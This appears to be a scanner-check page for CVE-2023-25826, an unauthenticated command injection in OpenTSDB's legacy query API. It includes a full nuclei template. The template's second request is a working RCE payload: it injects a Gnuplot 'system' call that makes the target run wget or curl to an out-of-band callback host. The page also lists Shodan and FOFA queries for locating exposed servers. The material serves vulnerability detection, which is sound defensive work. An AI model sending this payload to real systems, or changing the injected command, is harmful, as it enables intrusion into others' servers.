OpenTSDB <= 2.4.1 - Unauthenticated RCE via Gnuplot Injection

criticalseverity

9.8CVSS score

43%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

OpenTSDB contains a command injection caused by insufficient validation of parameters passed to the legacy HTTP query API, letting attackers inject crafted OS commands and execute malicious code, exploit requires sending crafted parameters.

Impact

Attackers can execute arbitrary OS commands on the host system, potentially leading to full system compromise.

Fix

Implement comprehensive input validation and update to the latest version that addresses this issue.

How to confirm it

Send: GET /api/suggest?type=metrics&q=&max=1
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "[\"") and !contains(body, "<html")
Send: GET /q?start=1h-ago&m=sum:{{metric}}&key=out%20right%20top%0asystem%20%22wget%20-q%20-T%205%20-O%20/dev/null%20http://{{interactsh-url}}%20%7C%7C%20curl%20-sk%…
Positive when: contains_any(interactsh_protocol, "http", "dns") and contains_all(body, "plotted", "points", "etags") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-25826 -u <target>

The full check

id: CVE-2023-25826

info:
  name: OpenTSDB <= 2.4.1 - Unauthenticated RCE via Gnuplot Injection
  author: aryu-ru
  severity: critical
  description: |
    OpenTSDB contains a command injection caused by insufficient validation of parameters passed to the legacy HTTP query API, letting attackers inject crafted OS commands and execute malicious code, exploit requires sending crafted parameters.
  impact: |
    Attackers can execute arbitrary OS commands on the host system, potentially leading to full system compromise.
  remediation: |
    Implement comprehensive input validation and update to the latest version that addresses this issue.
  reference:
    - https://github.com/OpenTSDB/opentsdb/pull/2275
    - https://github.com/vulhub/vulhub/blob/master/opentsdb/CVE-2023-25826/README.md
    - http://packetstormsecurity.com/files/174570/OpenTSDB-2.4.1-Unauthenticated-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25826
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-25826
    epss-score: 0.43036
    epss-percentile: 0.98731
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: opentsdb
    product: opentsdb
    shodan-query: http.favicon.hash:407286339
    fofa-query: title="OpenTSDB"
  tags: cve,cve2023,opentsdb,rce,oast,unauth,packetstorm

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/suggest?type=metrics&q=&max=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
          - contains(body, "[\"")
          - '!contains(body, "<html")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: metric
        part: body
        group: 1
        regex:
          - '^\["([^"]+)"'
        internal: true

  - raw:
      - |
        GET /q?start=1h-ago&m=sum:{{metric}}&key=out%20right%20top%0asystem%20%22wget%20-q%20-T%205%20-O%20/dev/null%20http://{{interactsh-url}}%20%7C%7C%20curl%20-sk%20--max-time%205%20http://{{interactsh-url}}%22&json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_any(interactsh_protocol, "http", "dns")
          - contains_all(body, "plotted", "points", "etags")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from